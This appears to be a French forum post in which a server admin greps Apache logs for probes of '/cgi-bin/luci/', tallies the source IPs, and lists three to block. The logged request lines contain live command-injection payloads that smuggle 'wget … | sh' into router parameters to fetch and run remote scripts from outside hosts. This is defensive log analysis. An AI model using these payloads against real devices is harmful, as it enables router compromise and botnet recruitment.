Attack /cgi-bin/luci/
-
# zgrep "/cgi-bin/luci/" /var/log/apache2/access.*.log* | sed 's/:/ /g' | awk '{print $2}' | sort | uniq -c 2 102.36.149.1 2 103.130.82.10 4 103.130.82.30 4 103.4.235.86 2 104.42.38.41 2 112.185.152.220 2 114.129.192.36 2 118.101.244.28 2 118.141.248.118 4 118.41.203.50 2 118.42.173.221 2 118.43.117.160 2 118.43.125.59 2 119.202.227.113 2 119.202.239.50 1 121.155.192.188 2 121.159.17.185 14 121.167.125.180 2 121.178.112.93 2 121.186.1.159 4 12.147.183.155 1 124.198.131.83 2 125.139.58.46 2 125.139.96.146 1 134.255.127.204 2 144.129.7.50 2 14.46.125.153 20 149.50.96.5 2 152.230.242.131 1 153.234.50.196 1 153.237.59.248 2 153.33.101.123 2 156.244.27.246 2 162.210.160.200 2 175.204.108.239 2 175.208.15.203 2 175.208.20.113 2 175.208.35.26 4 176.226.251.154 22 176.65.141.86 4 177.157.98.89 2 181.16.136.5 2 183.106.38.201 2 186.232.119.66 2 189.101.153.134 4 191.54.186.17 3 192.253.248.5 7 193.142.147.209 2 194.177.205.198 1 194.46.217.190 21 204.76.203.10 2 206.220.191.144 1 207.189.221.46 1 209.164.247.57 2 210.106.139.218 2 211.228.142.81 2 211.230.209.244 2 212.142.94.231 2 218.151.4.81 2 218.151.54.57 4 218.158.169.73 4 218.158.250.34 1 219.121.14.228 2 221.157.252.246 44 221.159.119.6 3 222.112.119.3 2 2.44.136.222 1 2.44.138.18 1 27.252.138.12 1 27.252.30.116 1 27.252.36.174 2 31.191.16.72 10 37.119.236.18 6 37.119.246.102 1 37.49.148.105 7 37.49.148.238 5 37.49.148.32 2 41.228.171.122 4 4.38.142.6 2 45.153.34.156 6 45.156.87.165 2 45.224.250.216 6 45.88.186.32 3 45.88.186.85 2 46.100.62.156 18 5.253.86.217 2 5.66.198.74 10 58.40.8.206 2 59.1.211.226 2 61.80.239.193 3 64.225.35.163 2 66.74.104.148 4 68.113.110.78 2 72.132.68.158 2 75.110.226.226 2 77.0.19.189 2 77.3.70.57 6 78.188.227.100 2 79.51.83.221 1 82.67.107.50 2 87.120.191.13 3 87.121.84.132 1 87.2.57.237 1 87.97.117.218 2 88.181.185.79 1 89.42.231.140 2 93.173.182.98 2 94.19.41.151 2 94.74.191.125 7 94.74.191.2 4 94.74.191.5 2 95.82.207.159 -
# zgrep "/cgi-bin/luci/" /var/log/apache2/access.*.log* | awk '{print $6 " " $7}' | sort | uniq -c 2 "GET /cgi-bin/luci/ 1 "GET /cgi-bin/luci/er/reboot_link?link=%27%60wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.hqf.sh%7Csh%60%27 1 "GET /cgi-bin/luci/er/vlanTag?vlan_tag=%27%60wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.hqf.sh%7Csh%60%27 115 "GET /cgi-bin/luci/;stok=/locale 94 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) 159 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tplink.sh%20-O-%7Csh) 15 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//95.103.172.144/router.tplink.sh%20-O-%7Csh) 3 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29 15 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60 2 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%3B%60 2 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60 1 "POST /cgi-bin/luci/ 2 "POST /cgi-bin/luci/;stok=/locale?form=country -
Blocage de
- 144.172.103.95
- 72.132.68.158
- 95.103.172.144
Bonjour ! Vous semblez intéressé par cette conversation, mais vous n’avez pas encore de compte.
Marre de refaire défiler les mêmes messages ? Créez un compte pour retrouver votre position, recevoir des notifications des nouvelles réponses, sauvegarder vos favoris et voter pour les messages que vous appréciez.
Grâce à votre participation, ce message peut devenir encore meilleur 💗
S'inscrire Se connecter